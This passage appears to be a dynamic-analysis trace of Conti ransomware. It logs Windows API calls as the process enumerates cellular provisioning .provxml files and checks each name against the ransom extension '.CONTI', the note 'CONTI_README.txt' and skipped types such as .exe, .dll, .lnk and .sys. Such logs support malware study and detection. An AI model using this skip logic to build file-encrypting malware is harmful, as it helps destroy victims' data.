	[0109.297] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml"
	[0109.297] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bd19f0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90bd19f0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90bd19f0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1f2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml", cAlternateFileName="319__C~1.PRO")) returned 1
	[0109.297] lstrcmpiW (lpString1="319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.297] lstrcmpiW (lpString1="319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.297] StrStrIW (lpFirst="319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.297] StrStrIW (lpFirst="319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.297] StrStrIW (lpFirst="319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.297] StrStrIW (lpFirst="319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.297] StrStrIW (lpFirst="319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.297] StrStrIW (lpFirst="319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.297] StrStrIW (lpFirst="319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.297] StrStrIW (lpFirst="319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.297] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.297] lstrlenW (lpString="319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml") returned 82
	[0109.297] GetProcessHeap () returned 0x1720000
	[0109.297] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x15a) returned 0x6516aa8
	[0109.297] lstrcpyW (in: lpString1=0x6516aa8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.297] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.297] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\319__Connections_Cellular_Aljawwal (Palestinian Authority)_i0$(__MVID)@WAP.provxml"
	[0109.297] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901d57cf, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901d57cf, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901d57cf, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x363, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml", cAlternateFileName="31__CO~1.PRO")) returned 1
	[0109.298] lstrcmpiW (lpString1="31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.298] lstrcmpiW (lpString1="31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.298] StrStrIW (lpFirst="31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.298] StrStrIW (lpFirst="31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.298] StrStrIW (lpFirst="31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.298] StrStrIW (lpFirst="31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.298] StrStrIW (lpFirst="31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.298] StrStrIW (lpFirst="31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.298] StrStrIW (lpFirst="31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.298] StrStrIW (lpFirst="31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.298] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.298] lstrlenW (lpString="31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml") returned 71
	[0109.298] GetProcessHeap () returned 0x1720000
	[0109.298] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x144) returned 0x6560aa0
	[0109.298] lstrcpyW (in: lpString1=0x6560aa0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.298] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.298] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml"
	[0109.298] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bd19f0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90bd19f0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90bd19f0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d8, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml", cAlternateFileName="320__C~1.PRO")) returned 1
	[0109.298] lstrcmpiW (lpString1="320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.298] lstrcmpiW (lpString1="320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.298] StrStrIW (lpFirst="320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.298] StrStrIW (lpFirst="320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.298] StrStrIW (lpFirst="320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.298] StrStrIW (lpFirst="320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.298] StrStrIW (lpFirst="320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.298] StrStrIW (lpFirst="320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.298] StrStrIW (lpFirst="320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.298] StrStrIW (lpFirst="320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.298] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.298] lstrlenW (lpString="320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml") returned 77
	[0109.298] GetProcessHeap () returned 0x1720000
	[0109.298] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x150) returned 0x6560d50
	[0109.298] lstrcpyW (in: lpString1=0x6560d50, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.299] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.299] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml"
	[0109.299] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bf7c60, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90bf7c60, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90bf7c60, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bc, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml", cAlternateFileName="321__C~1.PRO")) returned 1
	[0109.299] lstrcmpiW (lpString1="321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.299] lstrcmpiW (lpString1="321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.299] StrStrIW (lpFirst="321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.299] StrStrIW (lpFirst="321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.299] StrStrIW (lpFirst="321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.299] StrStrIW (lpFirst="321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.299] StrStrIW (lpFirst="321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.299] StrStrIW (lpFirst="321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.299] StrStrIW (lpFirst="321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.299] StrStrIW (lpFirst="321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.299] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.299] lstrlenW (lpString="321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml") returned 64
	[0109.299] GetProcessHeap () returned 0x1720000
	[0109.299] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x136) returned 0x65668f8
	[0109.299] lstrcpyW (in: lpString1=0x65668f8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.299] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.299] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml"
	[0109.299] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bf7c60, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90bf7c60, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90bf7c60, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d6, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml", cAlternateFileName="322__C~1.PRO")) returned 1
	[0109.299] lstrcmpiW (lpString1="322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.299] lstrcmpiW (lpString1="322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.299] StrStrIW (lpFirst="322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.299] StrStrIW (lpFirst="322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.299] StrStrIW (lpFirst="322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.299] StrStrIW (lpFirst="322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.299] StrStrIW (lpFirst="322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.299] StrStrIW (lpFirst="322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.299] StrStrIW (lpFirst="322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.299] StrStrIW (lpFirst="322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.299] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.300] lstrlenW (lpString="322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml") returned 69
	[0109.300] GetProcessHeap () returned 0x1720000
	[0109.300] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x6566f60
	[0109.300] lstrcpyW (in: lpString1=0x6566f60, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.300] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.300] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml"
	[0109.300] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bf7c60, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90bf7c60, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90bf7c60, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2be, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml", cAlternateFileName="323__C~1.PRO")) returned 1
	[0109.300] lstrcmpiW (lpString1="323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.300] lstrcmpiW (lpString1="323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.300] StrStrIW (lpFirst="323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.300] StrStrIW (lpFirst="323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.300] StrStrIW (lpFirst="323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.300] StrStrIW (lpFirst="323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.300] StrStrIW (lpFirst="323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.300] StrStrIW (lpFirst="323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.300] StrStrIW (lpFirst="323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.300] StrStrIW (lpFirst="323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.300] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.300] lstrlenW (lpString="323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml") returned 66
	[0109.300] GetProcessHeap () returned 0x1720000
	[0109.300] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x6566a40
	[0109.300] lstrcpyW (in: lpString1=0x6566a40, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.300] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.300] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml"
	[0109.300] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bf7c60, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90bf7c60, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90bf7c60, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml", cAlternateFileName="324__C~1.PRO")) returned 1
	[0109.300] lstrcmpiW (lpString1="324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.300] lstrcmpiW (lpString1="324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.300] StrStrIW (lpFirst="324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.300] StrStrIW (lpFirst="324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.300] StrStrIW (lpFirst="324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.300] StrStrIW (lpFirst="324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.300] StrStrIW (lpFirst="324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.300] StrStrIW (lpFirst="324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.301] StrStrIW (lpFirst="324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.301] StrStrIW (lpFirst="324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
